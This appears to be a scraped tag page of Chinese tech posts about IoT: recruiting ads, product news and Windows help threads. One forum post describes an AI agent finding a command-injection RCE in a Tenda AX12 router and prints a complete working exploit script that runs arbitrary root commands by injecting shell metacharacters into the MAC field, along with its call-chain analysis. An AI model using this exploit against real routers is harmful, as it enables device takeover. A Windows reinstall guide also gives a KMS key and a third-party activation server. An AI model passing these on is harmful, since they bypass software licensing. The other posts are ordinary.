WWW.YOUINFO.SITE
标签聚合 IOT

/tag/IOT

v2ex · 2026-06-10 00:03:06+08:00 · tech

大家好,我叫小天。15 年来日,已在日 11 年。 之前曾在中国移动,超聚变等公司做 Sales Engineer 。 目前在一家日资企业,专注做针对外国人的日本 IT 行业的猎头/职业顾问。 目前手头很多日本正社员职位正在开放招聘,希望能帮助想来日本发展或在日本寻求转职的朋友们。 我不仅提供职位推荐,还会协助大家进行简历优化和面试对策,欢迎感兴趣的朋友交流! 流程完全免费,不会收取任何费用! --- 今天帮大家带来一个极其优质的大厂自研核心岗位。该部门主要负责全球化共享移动电源( CHARGESPOT )及各种各类全新出海业务,面对的是 10 万+ 智能 IoT 设备和超 2000 万全球用户。团队高度国际化,发展空间巨大!有兴趣符合条件的朋友请联系我! 📮 联系方式 WeChat:phi0620 Line:ltc0620 LinkedIn: https://www.linkedin.com/in/jun-amagishi-tianchun-li-37b671407/ 🟢 招聘职种 SRE 工程师 (SRE Engineer - CHARGESPOT Department) 🟢 岗位要求 具备 3 年以上 基础设施运维相关业务的实战经验。 熟练掌握 AWS 或 Alibaba Cloud 等主流公有云的实际部署与运营经验。 扎实的 Linux OS 基础、网络基础知识,并熟悉 Prometheus 、Grafana 、ELK 等主流监控与日志分析工具。 熟悉数据库 Schema 架构设计,并具备扎实的 SQL 性能调优( Tuning ) 知识。 [加分项] 具备 Jenkins 、GitLab 等 CI/CD 工具的配置与流水线优化经验。 [加分项] 熟练使用 Python 或 Go 编写自动化运维脚本,有 Terraform 、Ansible 等 IaC 工具经验者优先。 [加分项] 精通 HTTP 、TCP 、特别是 MQTT 等物联网通信协议,具备强大的网络故障排查能力。 🟢 岗位特征 语言要求:中文商务水平(硬性必须) + 英文,日文商务水平(强烈欢迎,加分项非必须) 工作性质:负责跨国多区域自研系统的导入、CI/CD 流程构建、系统架构的可用性与扩展性设计,以及突发障害的快速响应与根本原因分析。 就劳环境:团队由 1 名统括部长和 6 名核心成员组成,支持 Full Flex 全弹性工作制(无核心时间),且每周可享受 1 次 WFH (居家办公)。 🟢 待遇与福利 雇佣形式: 直签正社员(稳定自研大厂席位,无契约社员) 想定级别:Leader (高级经理) ~ Senior Associate (高级工程师/主任级) 年薪范围: [ Leader 职级] 660 万 ~ 1,100 万日元(含全额奖金) [ Senior Associate 职级] 430 万 ~ 650 万日元(含全额奖金及加班补贴) ※ 最终薪资将严格根据个人技术深度与面试表现进行评定。 赴日支持:100% 协助办理日本正社员工作签证。 团队氛围: 扁平化、国际化的开放团队,职能边界灵活,非常鼓励开发者主动输出技术影响力。

v2ex · 2026-06-09 20:07:59+08:00 · tech

大家好,我叫小天。15 年来日,已在日 11 年。 之前曾在中国移动,超聚变等公司做 Sales Engineer 。 目前在一家日资企业,专注做针对外国人的日本 IT 行业的猎头/职业顾问。 目前手头很多日本正社员职位正在开放招聘,希望能帮助想来日本发展或在日本寻求转职的朋友们。 我不仅提供职位推荐,还会协助大家进行简历优化和面试对策,欢迎感兴趣的朋友交流! 流程完全免费,不会收取任何费用! --- 今天帮大家带来一个极其优质的大厂自研核心岗位。该部门主要负责全球化共享移动电源( CHARGESPOT )及各种各类全新出海业务,面对的是 10 万+ 智能 IoT 设备和超 2000 万全球用户。团队高度国际化,发展空间巨大!有兴趣符合条件的朋友请联系我! 📮 联系方式 WeChat:phi0620 Line:ltc0620 LinkedIn: https://www.linkedin.com/in/jun-amagishi-tianchun-li-37b671407/ 🟢 招聘职种 SRE 工程师 (SRE Engineer - CHARGESPOT Department) 🟢 岗位要求 具备 3 年以上 基础设施运维相关业务的实战经验。 熟练掌握 AWS 或 Alibaba Cloud 等主流公有云的实际部署与运营经验。 扎实的 Linux OS 基础、网络基础知识,并熟悉 Prometheus 、Grafana 、ELK 等主流监控与日志分析工具。 熟悉数据库 Schema 架构设计,并具备扎实的 SQL 性能调优( Tuning ) 知识。 [加分项] 具备 Jenkins 、GitLab 等 CI/CD 工具的配置与流水线优化经验。 [加分项] 熟练使用 Python 或 Go 编写自动化运维脚本,有 Terraform 、Ansible 等 IaC 工具经验者优先。 [加分项] 精通 HTTP 、TCP 、特别是 MQTT 等物联网通信协议,具备强大的网络故障排查能力。 🟢 岗位特征 语言要求:中文商务水平(硬性必须) + 英文,日文商务水平(强烈欢迎,加分项非必须) 工作性质:负责跨国多区域自研系统的导入、CI/CD 流程构建、系统架构的可用性与扩展性设计,以及突发障害的快速响应与根本原因分析。 就劳环境:团队由 1 名统括部长和 6 名核心成员组成,支持 Full Flex 全弹性工作制(无核心时间),且每周可享受 1 次 WFH (居家办公)。 🟢 待遇与福利 雇佣形式: 直签正社员(稳定自研大厂席位,无契约社员) 想定级别:Leader (高级经理) ~ Senior Associate (高级工程师/主任级) 年薪范围: [ Leader 职级] 660 万 ~ 1,100 万日元(含全额奖金) [ Senior Associate 职级] 430 万 ~ 650 万日元(含全额奖金及加班补贴) ※ 最终薪资将严格根据个人技术深度与面试表现进行评定。 赴日支持:100% 协助办理日本正社员工作签证。 团队氛围: 扁平化、国际化的开放团队,职能边界灵活,非常鼓励开发者主动输出技术影响力。

IT之家 · 2026-06-04 10:19:47+08:00 · tech

IT之家 6 月 4 日消息,比亚迪方程豹今日宣布钛 7 推送第五次 OTA 更新:135KM 两驱 Pro 版、200KM 两驱 Max 版、190KM 四驱 Max 版带来 6 项新增项,10 项优化;190KM 四驱 Ultra 版带来 17 项新增项,14 项优化。 IT之家整理如下: 新增全向行车记录仪(五视角) :135KM 两驱 Pro 版、200KM 两驱 Max 版、190KM 四驱 Max 版 新增 IoT 生态扩展 :190KM 四驱 Ultra 版,新增车载空气净化器、两用双温冰箱、车载吸尘器、腰部按摩仪、九号滑板车、宠物安全座。 新增魔方全景声:190KM 四驱 Ultra 版 新增“听歌新姿势”提示:190KM 四驱 Ultra 版 新增百变主题音乐壁纸:190KM 四驱 Ultra 版 新增可对海信、TCL 空调远程控制 :190KM 四驱 Ultra 版 新增座椅可根据语音指令来调节前后、高低及角度;语音操控及长按方向盘“时距-”按键,上报驾驶辅助事件:所有车型 哨兵模式新增本地或 U 盘便捷导出功能,可在哨兵视频播放界面选择视频导出至相关设备;用户在副驾舒享场景进入失败、退出、安全切换等关键节点获得语音提示;智慧物联 App 商城购买商品支持通过积分支付:190KM 四驱 Ultra 版 针对鸿蒙 6.0 及以上系统的华为手机开放,实现手机在车机上的镜像小窗显示;面向系统版本为 OneUI 8.0 及以上的国行三星机型,实现手机在车机上的镜像小窗显示;在手车互联时车机可直接调用手机移动网络,即连即享 (适用 OPPO、vivo、小米部分机型):135KM 两驱 Pro 版、200KM 两驱 Max 版、190KM 四驱 Max 版

LinuxDo 最新话题 · 2026-05-19 23:39:54+08:00 · tech

各位佬友,我安装的系统是 Windows 11 IoT 企业版 LTSC ,现在有个更新一直安装失败。 尝试过: 1.使用系统修复工具 DISM.exe /Online /Cleanup-image /ScanHealth DISM.exe /Online /Cleanup-image /RestoreHealth sfc /scannow 2.重启windows更新服务 net start wuauserv net start bits net start cryptsvc 3.设置内更新下载到8%左右就下载失败。 4.windows11 安装助手也失败 有佬友知道是什么问题或者从哪里排查吗。 3 个帖子 - 2 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-14 12:17:03+08:00 · tech

前言介绍 首先我的电脑是联想的拯救者笔记本,重装的目标系统是Windows 11 IoT 企业版 LTSC 2024,这是官方的系统,比正式的版本是要精简一些(更新并且安装完相关组件之后大概是30GB,纯系统是20GB,还有其他一些它自己配置的东西,有利于系统稳定运行吧,什么虚拟内存之类,还有系统还原相关),然后就是比较稳定,不怎么更新,其他好像没啥优点了吧,我主要是体验重装的过程,毕竟会重装了,以后那是想装啥就装啥,先装一个官方的版本试试水,之后再去 果核剥壳网 上安装更加激进的系统。 1. 软件管理和数据恢复 重装的第一步肯定是备份原本的数据,D盘的数据不用动,重装的时候是格式化C盘,所以大部分自己想保留的数据迁移到D盘就行了(我的软件安装习惯就是放在D盘,所以基本不用怎么迁移,把ssh文件迁过来就差不多了) 1.1 Scoop 电脑的软件建议都通过Scoop管理工具进行安装,重装系统之后恢复起来非常方便,平时对于软件的安装,卸载,更新,以及版本回退,都是通过命令行来实现,想要进行什么操作,直接问deepseek就可以了。 Scoop安装教程可以参考这篇 博客 ,不过我更加建议直接问deepseek,让它带着你一步一步操作,切记要把Scoop安装到D盘目录下,上面那篇博客对于这个操作介绍好像就提了一下,所以还是建议跟着deepseek操作,只有将Scoop安装到D盘目录下,接下来的数据恢复,才不需要重新下载,不然需要重新下载一遍安装过的软件目录。 在备份的时候,deepseek建议手动备份Scoop的安装过的软件清单 scoop export > D:\Backup\scoop_apps.json 这个命令,就是把你通过Scoop安装过的软件记录一遍,当你重装好系统之后,下载一个Scoop再跟着清单重新安装一遍 # 重装软件 scoop import D:\Backup\scoop_apps.json # 然后重建所有快捷方式和文件关联 scoop reset * 上面这是Scoop装在C盘的情况,如果是装在D盘,只需要重建环境变量(让新系统知道有Scoop这个软件)和重建所有连接即可。 # 重建环境变量 [Environment]::SetEnvironmentVariable('SCOOP', 'D:\你Scoop安装的地址\Scoop', 'User') $env:SCOOP = 'D:\你Scoop安装的地址\Scoop' [Environment]::SetEnvironmentVariable('Path', [Environment]::GetEnvironmentVariable('Path', 'User') + ';D:\你Scoop安装的地址\Scoop\shims', 'User') # 重建所有连接 scoop reset * 然后Scoop管理的所有软件就都能用了,不用重新下载。 deepseek还建议下载网络驱动,但重装之后实测驱动是好的,不知道是不是系统自带的,反正是好使,我从联想官网下载的全套驱动都没用上。 1.2 浏览器 我使用的浏览器是Edge(据说最近疯狂暴雷,以后还是转战Chrome比较好一些),平时也是开了同步功能的,其中的标签和密码,都存在云端,用不着手动备份。如果不放心的话,可以去浏览器的标签和密码管理页,都有导出的功能,将导出的文件存到D盘或是其他设备即可。重装系统之后,可以在导出的地方,进行手动导入。 刚才发现,我油猴脚本上安装过的脚本没有随着Edge浏览器的同步而同步过来,还好平时也不咋用,油猴脚本的同步功能是在 设置 中,找到 同步脚本 模块,点击 启用脚本同步 ,同步类型选择OneDrive,别选浏览器同步,那是给本地电脑不同浏览器使用的,对于重装系统恢复数据无效,然后选择保存,点击 现在运行 ,然后就是一个弹出授权,点确认即可。这个同步功能,我也不知道效果怎么样,所以还有手动备份的操作,在油猴脚本设置的旁边有个 实用工具 ,在里面可以手动导出文件或压缩包,放到D盘,重装系统之后再从这里手动导入即可。 1.3 WSL2 开发环境在Linux的话,可以使用wsl2,轻量级的使用和虚拟机上差别似乎不大。 # 安装wsl2,默认会同步安装Ubuntu系统,设置好用户名和密码即可 wsl --install # 系统迁移到D盘 mkdir D:\WSL\Ubuntu wsl --shutdown wsl --export Ubuntu D:\WSL\Ubuntu\ubuntu-backup.tar # 注销C盘原系统并导入D盘中 wsl --unregister Ubuntu wsl --import Ubuntu D:\WSL\Ubuntu D:\WSL\Ubuntu\ubuntu-backup.tar --version 2 # 恢复默认用户 Ubuntu config --default-user xiao # 清理之前生成的临时文件 del D:\WSL\Ubuntu\ubuntu-backup.tar # 登录Ubuntu系统 wsl -d Ubuntu 恢复默认用户 这一步,是deepseek让做的,实际上运行的时候是报错了,但不知道为什么重新登陆Ubuntu系统还是xiao这个用户,而不是deepseek说的不执行这一步,默认就是root用户登录。 C盘格式化重装系统之后,以管理员身份打开 PowerShell # 在新系统上开启 WSL 功能,应该需要重启 dism /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart dism /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart # 重新注册D盘上的Ubuntu系统 wsl --import-in-place Ubuntu D:\WSL\Ubuntu\ext4.vhdx # 验证并启动 wsl -d Ubuntu 手动备份的重点,目前来看就是C盘用户目录下的.ssh文件夹和油猴脚本,这俩玩意要是没备份,那就真的没了,损失惨重。其他不能安装在Scoop上的软件,那就只能裸装在D盘上了,如果是绿色软件,重装系统之后也是能够直接使用的,如果不是,可以试着双击启动,有些软件能够自动修复注册表,不能的话,就只有重新安装一下了,目录还是选择当前的D盘文件,数据应该能够恢复。 通过上述的Scoop,wsl2和浏览器自身的同步功能,数据的恢复基本上非常轻松。然后就能随意的重装系统了。 2. 重装系统的步骤 2.1 下载镜像 首先是从 en-us_windows_11_iot_enterprise_ltsc_2024_x64_dvd_f6b14814.iso 这个下载页进行LTSC系统镜像下载,其中有 SHA-1 校验值 SHA-1: d5dd0a493b6a9c92f7f2a54bb2fb2544587a15fd 这是用来校验的,防止下载或是粘贴到U盘的过程中损坏,系统文件损坏一点点就用不了了,为了防止到了安装的时候才发现,下载完成之后在本地进行校验,迁移到U盘上再校验一次,确保镜像没有被篡改或是损坏。 校验方法,打开cmd,输入以下命令回车: certutil -hashfile "你的文件路径\en-us_windows_11_iot_enterprise_ltsc_2024_x64_dvd_f6b14814_2.iso" SHA1 将得到的结果进行比对,要完全一致,否则需要重新下载。 2.2 Ventoy制作启动盘 其实下载好这个镜像之后,双击也是能够直接安装的,不过没有用U盘安装的彻底,更像是覆盖或升级(我还没试过),毕竟以后可能需要安装其他的操作系统,比如Linux之类的,所以还是要学会U盘重装系统,最为彻底了。 使用Ventoy制作启动盘的好处就是,往后想安装的系统镜像,直接拖到U盘中即可,并且还可以创建一些独立的文件夹存放其他数据。 制作过程如下: 去 Ventoy 官网 进行下载并解压,以管理员身份运行 Ventoy2Disk.exe ,在软件界面的 设备 下拉菜单中,选中你的U盘(接下来的操作会格式化U盘,注意提前备份好数据),然后点击菜单栏的 配置选项 → 分区类型 ,如果是比较新的电脑选择GPT,如果是古董电脑就选择MBR,然后点击安装按钮,警告窗口点确认即可,等进度条跑完,你的普通U盘就制作成启动盘了。 通过Ventoy制作的启动盘,重新插入电脑会出现两个分区,大的分区是存放系统镜像和个人文件的数据区,小的分区是Ventoy的引导区。 将你之前下载好的系统镜像直接粘贴到U盘大分区中,建议U盘插在笔记本电脑的后边,供电比较稳定,本来我是插在侧边,粘贴到一半供电不稳断开了,镜像也因此损坏。粘贴好之后,复制U盘下镜像的文件路径,然后再进行一次 SHA-1 校验,确保没有损坏。 2.3 重装系统 数据备份好了,启动盘制作好了,可以开始重装了。 我的电脑是联想拯救者系列,有个默认打开的安全启动 (Secure Boot),先要将它关闭,不然不能够进行启动盘启动,会报 0x1A Security Violation 错误(图片不知道去哪了(ˉ▽ˉ;)…) 解决办法,在开机的时候疯狂按F2键,进入 BIOS 设置界面,找到 Security (安全) 菜单,在其下方找到 Secure Boot (安全启动) 选项,按回车,将其从 Enabled 改为 Disabled 即可。按 F10 键,选择 Yes 保存并退出。电脑会自动重启,然后疯狂敲击 F12 ,选择你的 U 盘启动项(UEFI 开头),进入 Ventoy 菜单并选中你准备好的系统镜像文件,按回车,就能顺利进入安装界面了。 接下来都没啥需要注意的,到分区的时候需要停下来。要删除两块分区,一个是旧系统安装的C盘,然后还有它的恢复盘。 Disk 0 Partition 3: Windows-SSD (Total Size 200.0 GB, Type Primary) 这是我的C盘,选中它,点击工具栏中的 Delete (删除) 按钮。系统会弹窗确认,点击 OK 即可,切记不要把D盘删掉了,不然数据就都没了。(图就不提供了,重装系统太惊险刺激了,忘记拍照了 ) Disk 0 Partition 5: Recovery (Total Size 1000.0 MB) 这是旧系统的恢复区,也删掉,到时候重装好了,把这块区域回收给D盘,不过话说此时不删的话,是不是重装出问题了还能够有个系统复原,免得U盘中的系统不小心损坏了,电脑还自带了一个恢复系统,不知道我这种猜想可不可行,我还没试过。所以建议恢复区先保留,只删除C盘即可。 执行完上面的操作之后会得到两块未分配的空间(Unallocated Space),单击选择200GB的那块,也就是之前装旧系统的C盘区域,确认无误后,点击下一步Next按钮(千万别把D盘覆盖了)。 接下来的操作好像就没有啥需要注意的了,直接等它安装好,进行登录就可以了,实测可以直接联网,我是通过数据线给笔记本提供网络的,但其实没网也没啥问题。登录的时候不要输入任何的邮箱地址,点击输入框下方的 Sign-in options (登录选项),然后选择下面的Domain join instead,可以创建本地用户名,也就是离线用户。 2.4 相关配置 进入新系统之后,首先是去设置中下载中文包,在时间和语言中,实测安装好中文包之后进行配置并重启,还是有一部分的内容一直显示英文,怎样配置都没用,但用着用着,它就自动变成全中文了,非常神奇。 再然后右键Windows图标选择磁盘管理,或者通过搜索也能进入磁盘管理,之前不是还有一个未分配的空间没处理嘛,就是旧系统的恢复分区,大概有1个G,因为它是靠近D盘的,这部分空间只能回收给D盘。在磁盘管理的界面,右键点击Data (D:) 分区,选择 扩展卷 ,在弹出的 扩展卷向导 中,一路点击下一步,最后点击完成即可。现在的LTSC系统的恢复分区是紧挨着C盘创建的,也就是从C盘中划了1G的空间出来,如果之前重装系统的时候,只删除了C盘的分区,而没有把旧系统的恢复分区一起删了,也就是现在的1GB未分配空间,那重装好之后,LTSC系统的恢复分区会不会直接在旧系统的恢复分区上创建呢?下次重装系统我再试试。 所以说重装系统到分区格式化的那一步,建议还是不要顺手把旧系统恢复分区删掉,如果出了问题的话,或许还能复原,然后新系统的恢复分区或许能够直接配置在旧系统恢复分区上,就算上面的两个猜想都不成立,等新系统装好之后来到磁盘管理界面再删除回收给D盘也不迟。 此时的系统还没有激活,还是右键Windows图标,进入PowerShell管理员模式,依次输入以下命令: C:\Windows\System32>slmgr -ipk M7XTQ-FN8P6-TTKYV-9D4CC-J462D C:\Windows\System32>slmgr -skms kms.03k.org C:\Windows\System32>slmgr -ato C:\Windows\System32>slmgr -dlv 然后会有一个弹窗告诉你激活成功了,还有一个时间,到期之后自动续签,不过这是使用的第三方KMS激活服务器,如果你是一个diy狂热爱好者,可以在本地电脑的WSL2上搭建一个自己的KMS服务器,不过只能作用于本台电脑,如果还有其他设备也需要激活,那就部署到vps上。两种部署方式都不是很难,几十分钟能搞定吧,不过我是懒狗,等他关门了,我再自己手动配置。 此时的用户还是本地离线用户,我是在登录Edge的时候同步变成在线用户的,不过登录Edge的时候会出现报错,错误代码 0x80190001 ,我当时咋处理来着,好像是在设置中重置网络就好了,还是更新完组件就好了来着,反正这系统多更新,多使用一下,大大小小的毛病就自己修复了。参考如下操作: 打开系统 设置 ->进入 网络和Internet → 高级网络设置 ->选择 网络重置 ,然后点击 立即重置 。似乎就是这么解决的这个报错。 然后应该没啥了吧,感觉重装系统也就这么回事,只要是D盘没有手滑格式化,基本没啥变化,用Scoop和WSL2来管理所要安装的软件,恢复起来非常方便。 1 个帖子 - 1 位参与者 阅读完整话题

LinuxDo 最新话题 · 2026-05-11 15:53:33+08:00 · tech

睡了个觉 花费2 元,AI挖出我的第一个 IOT RCE 漏洞 起因 最近心血来潮,突然想接触一些关于IOT相关的内容,但是由于之前基本没有怎么接触过,基础有限,最近又刷到各种AI agent,AI CTF相关的内容,于是就想试试能不能让我一个没怎么接触过IOT,使用AI去挖掘到我的第一个IOT相关的漏洞 环境准备 1. AI中转 xxx中转 2.目标准备 我找了一台家里闲置的路由器 漏洞复现 1. Prompt提示词 用 $ctf-sandbox 这个 skill 来完成接下来的 CTF-IOT 挑战。已知 http://192.168.111.1/是路由器管理员地址,唯一知道的信息是管理员密码为 88888888,这个路由器为本地测试环境,可以做任何测试。 你需要自己获取到该设备的固件版本(已知型号是 tenda-AX12),并去网上找到相关版本固件,下载到本地并解压。对解压后的文件系统进行审计,所需二进制文件分析,必须使用 IDA 打开并通过 IDA-MCP 进行审计,找到 RCE 漏洞,并在当前本地路由器测试环境验证。所有的分析必须经过实际ida 的代码审计,不允许随意猜测或从网上寻找相关漏洞资料。 验证方式为执行sleep x,根据响应延迟判断漏洞是否存在,如果遇见高置信漏洞,但 sleep 无法测试的话,可以采用执行wget 或者 curl 的方式,请求本机的一个端口,本机检测是否有请求过来。最终给我一个 exp.py 和 wp.md帮我完成这个 CTF 挑战。 因为我先看看如果没有人工进行干预,他到底能做到什么样,所以喂给他这个提示词后,我就去洗漱睡觉了 2. 结果 第二天睡醒, AI 已经给我整理好了一份 exp.py以及一份详细的 wp.md 文档。里面记录了 AI 研究的所有过程,同时 exp.py 运行后直接获取了路由器的 root shell,虽然耗时还是比较久,但是我根本没有去管他,他能自主做到这种地步我已经很满意了,有一种马上要被ai取代的感觉了… 3. 花费 xxx xxx EXP #!/usr/bin/env python3 import argparse import base64 import hashlib import json import time from urllib.parse import urljoin import requests from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad IV = b"EU5H62G9ICGRNI43" class AX12Client: def __init__(self, base_url, password, timeout=10): self.base_url = base_url.rstrip("/") + "/" self.password = password self.timeout = timeout self.session = requests.Session() self.sign = None def url(self, path): return urljoin(self.base_url, path.lstrip("/")) def login(self): digest = hashlib.md5(self.password.encode()).hexdigest() r = self.session.post( self.url("/login/Auth"), data={"username": "admin", "password": digest}, allow_redirects=False, timeout=self.timeout, ) if r.status_code not in (200, 302): raise RuntimeError(f"login failed: HTTP {r.status_code}") r = self.session.get(self.url("/goform/stokCfg"), timeout=self.timeout) r.raise_for_status() data = r.json()["stokCfg"] self.sign = data["sign"].encode() return data def encrypt(self, body): if self.sign is None: raise RuntimeError("not logged in") cipher = AES.new(self.sign, AES.MODE_CBC, IV) return base64.b64encode(cipher.encrypt(pad(body.encode(), AES.block_size))).decode() def decrypt_response(self, text): try: obj = json.loads(text) except json.JSONDecodeError: return text if "data" not in obj: return text cipher = AES.new(self.sign, AES.MODE_CBC, IV) return unpad(cipher.decrypt(base64.b64decode(obj["data"])), AES.block_size).decode() def get_form(self, path): r = self.session.get(self.url(path), timeout=self.timeout) r.raise_for_status() return self.decrypt_response(r.text) def post_form(self, path, body, timeout=None): timeout = self.timeout if timeout is None else timeout encrypted = self.encrypt(body) start = time.monotonic() r = self.session.post(self.url(path), data=encrypted, timeout=timeout) elapsed = time.monotonic() - start r.raise_for_status() return elapsed, self.decrypt_response(r.text) def detect_version(client): data = json.loads(client.get_form("/goform/GetSystemStatus")) return data.get("adv_firm_ver"), data.get("adv_hard_ver") def build_netcontrol_body(cmd=None, dev_name="dev", limit_up=128, limit_down=128): mac = "00:11:22:33:44:55" if cmd: mac = f"0;{cmd};#aa" return f"list={dev_name}\r{mac}\r{int(limit_up)}\r{int(limit_down)}" def post_netcontrol(client, body, timeout=20): start = time.monotonic() try: elapsed, resp = client.post_form("/goform/SetNetControlList", body, timeout=timeout) print(f"[*] SetNetControlList response: {elapsed:.2f}s {resp}") return elapsed, resp, False except requests.exceptions.ReadTimeout: elapsed = time.monotonic() - start print(f"[!] SetNetControlList timed out after {elapsed:.2f}s; command may still have executed") return elapsed, None, True def exploit_sleep(client, seconds): body = build_netcontrol_body(cmd=f"sleep {int(seconds)}") elapsed, _, _ = post_netcontrol(client, body, timeout=max(15, seconds + 10)) if elapsed >= max(1, seconds - 0.75): print(f"[+] RCE verified by delay: expected ~{seconds}s, observed {elapsed:.2f}s") return True print(f"[-] no convincing delay: expected ~{seconds}s, observed {elapsed:.2f}s") return False def exploit_cmd(client, cmd, timeout=20): body = build_netcontrol_body(cmd=cmd) elapsed, resp, timed_out = post_netcontrol(client, body, timeout=timeout) if timed_out: print("[+] payload sent; HTTP timed out, please verify by side effect") else: print(f"[+] payload sent in {elapsed:.2f}s, response: {resp}") def main(): parser = argparse.ArgumentParser(description="Tenda AX12 authenticated RCE verifier for SetNetControlList command injection") parser.add_argument("-u", "--url", default="http://192.168.111.1/", help="router base URL") parser.add_argument("-p", "--password", default="88888888", help="admin password") parser.add_argument("--sleep", type=int, default=5, help="sleep seconds for timing verification") parser.add_argument("--cmd", help="run an arbitrary shell command through SetNetControlList") parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout for the exploit request") args = parser.parse_args() client = AX12Client(args.url, args.password) stok = client.login() print(f"[*] logged in, stok={stok.get('stok')} sign={stok.get('sign')}") version, hardware = detect_version(client) print(f"[*] device firmware={version} hardware={hardware}") if args.cmd: exploit_cmd(client, args.cmd, timeout=args.timeout) else: ok = exploit_sleep(client, args.sleep) raise SystemExit(0 if ok else 1) if __name__ == "__main__": main() 分析报告 后面根据AI生成的报告,我也去进行了相关的跟踪和研究,这里列一下 AI 分析的关键调用链,这个漏洞的调用链其实还是稍微长一些的,并且需要跨进程分析。 首先在 httpd 中定位接口注册点,在 httpd::sub_41DE60 中注册了 sub_40A144("SetNetControlList", sub_43FDCC); 。 继续跟进 sub_43FDCC 。从伪代码可以直接看到,接口从请求中直接读取参数 list ;真实危险路径不是同步执行,而是 fork() 之后由子进程调用 set_tc_rule() 。也就是说,这个洞的后半段天然是异步的,所以不能只靠 HTTP 响应时间判断漏洞是否存在。 接下来跟进 sub_43FBBC ,确认 list 的真实格式。图中红框对应的核心逻辑是: sscanf(v14, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v15, v13, v12, v11); 这意味着 list 的一条记录会被按以下顺序解析: dev_name \r mac \r limit_up \r limit_down 。也就是:设备名 dev_name 、MAC 字段 mac 、上行速率 limit_up 、下行速率 limit_down 。 继续看 sub_43F8DC , a2 就是上一层解析出来的 mac,它会被直接写入 qos.@device_rule[%d].mac ,写完后立刻 CfgCommit("qos") 。这说明攻击者输入不是临时内存变量,而是被持久化进了设备配置。这一层的数据流已经很明确: HTTP list -> parsed mac -> qos.@device_rule[*].mac 接下来进入 libtd_server.so ,跟踪 set_tc_rule() 。可以看到: qos_rule_config = get_qos_rule_config((int)v13); 这一步说明前面落地到 UCI 的 qos 配置,后面会被 set_tc_rule() 从配置文件重新读回内存。也就是说,攻击者对 qos.@device_rule[*].mac 的污染,不会停留在配置层,而会继续向命令执行层流动。 下图能推导出三件事: get_qos_rule_config() 把每条 device_rule 读入缓冲区 v13 每条记录步长固定是 48 字节 add_tc_traffic_control() 收到的第二个参数 a2 就是当前记录起始地址 继续跟进 add_tc_traffic_control() 本身,结合上一层调用已经可以确认: a2 = mac a3 = limit_up a4 = limit_down 这一步把"可控字段"和"危险函数参数"正式对上了。 最关键的证据在下面这张图。这是最终的决定性证据: a2 被直接以 %s 形式拼进 shell 命令 这里没有任何 shell escaping 也没有对 mac 做格式校验 最后经 doSystemCmd() 直接执行 也就是说,只要 a2 中出现 ; 、 # 这类 shell 元字符,就能打断原有命令并执行攻击者自己的命令。 至此,漏洞链闭环。 结语 大家如果感兴趣可以去多尝试一下,现在的大模型能力我觉得已经能支撑很大一部分的工作,不必因为ai而焦虑,拥抱安全,拥抱ai,如果大家对AI挖洞有兴趣的话,后面还可以继续更新相关系列的文章,如果大家有好的AI安全的思路和想法,欢迎大家交流!! 25 个帖子 - 19 位参与者 阅读完整话题

IT之家 · 2026-05-08 16:09:12+08:00 · tech

IT之家 5 月 8 日消息,瑞芯微 (Rockchip) 今日正式推出面向中阶 AIoT 市场的新款处理器 RK3572。相比瑞芯微上代同定位平台, 其性能提升超过 100% , 典型场景功耗降低 50% 以上 ,大部分实际应用场景的最小系统功耗<1W。 RK3572 基于 8nm 制程工艺 ,结合了 2×Cortex-A73 + 6×Cortex-A53 的 CPU、Mali-G310 GPU、INT8 算力达 4TOPS 的 NPU,支持 LPDDR 4 (x) / 5 (x) 内存和 eMMC 5.1 (HS400)、UFS 2.0 2CH、SD 3.0 / MMC 4.51、FSPI 存储。 此外,这款 SoC 搭载 12M ISP,支持 HEVC 编码和 HEVC、VP9、AVS2、AV1 解码;允许双屏异显,能同时驱动 4K@60fps + 2K@60fps。RK3572 也提供了 PCIe 2.1、SATA 3.1、USB DRD 3.0/2.0、2× 1GbE、SDIO 3.0、DSMC,以及 CAN、I2C、I3C、SPI、UART 等工业控制接口。